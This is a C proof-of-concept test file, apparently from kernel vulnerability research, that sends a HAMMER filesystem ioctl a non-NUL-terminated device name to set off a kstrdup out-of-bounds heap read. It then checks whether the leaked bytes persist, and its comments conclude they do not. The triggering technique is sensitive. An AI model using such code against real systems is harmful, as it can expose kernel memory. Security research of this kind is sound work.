DF-0870 / poc_root.c
/* * DF-0870 root-side test: try ADD_VOLUME with non-NUL-terminated device_name * to determine if the kstrdup OOB read can ever PERSIST into volume->vol_name * (and thus be recoverable via LIST_VOLUMES). Run as root. * * Theory: device_name = 1024 non-NUL bytes -> kstrdup at hammer_ondisk.c:131 * strlen-walks past the buffer, captures OOB heap bytes into vol_name. But * install then fails because the captured string (1024 'A's + leaked bytes) * is not a valid device path. hammer_free_volume() kfree's vol_name, so the * leak never persists. This program confirms that. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <string.h> #include <sys/ioctl.h> #include <sys/param.h> #include <vfs/hammer/hammer_ioctl.h> int main(int argc, char **argv) { const char *path = argc > 1 ? argv[1] : "/mnt/hammer/testfile"; int fd, rc; struct hammer_ioc_volume v; printf("== root uid=%d opening %s\n", getuid(), path); fd = open(path, O_RDWR); if (fd < 0) { perror("open"); return 1; } /* Set up a struct that WOULD be valid for adding a 2nd volume, except * device_name is filled with non-NUL bytes so kstrdup walks past. */ memset(&v, 0, sizeof(v)); memset(v.device_name, 'X', MAXPATHLEN); /* 1024 non-NUL bytes */ v.vol_size = 1LL << 31; /* 2 GB - reasonable vol size */ v.boot_area_size = 0; v.memory_log_size = 0; errno = 0; rc = ioctl(fd, HAMMERIOC_ADD_VOLUME, &v); printf("HAMMERIOC_ADD_VOLUME (non-NUL device_name): rc=%d errno=%d (%s)\n", rc, errno, strerror(errno)); if (rc == 0) printf("!!! UNEXPECTED: install succeeded with leaked name -- " "volume->vol_name would contain heap bytes!\n"); else printf("As expected: install failed -- kstrdup-captured leaked name " "is not a valid path; vol_name freed.\n"); /* Also list volumes to confirm no leaky vol_name was added. */ { struct hammer_ioc_volume_list vl; struct hammer_ioc_volume outbuf[8]; memset(&vl, 0, sizeof(vl)); memset(outbuf, 0xee, sizeof(outbuf)); vl.vols = outbuf; vl.nvols = 8; errno = 0; rc = ioctl(fd, HAMMERIOC_LIST_VOLUMES, &vl); printf("LIST_VOLUMES after failed ADD: rc=%d errno=%d nvols=%d\n", rc, errno, vl.nvols); for (int i = 0; i < vl.nvols; i++) printf(" [%d] vol_no=%d device_name='%s' len=%zu\n", i, outbuf[i].vol_no, outbuf[i].device_name, strnlen(outbuf[i].device_name, sizeof(outbuf[i].device_name))); } close(fd); return 0; } |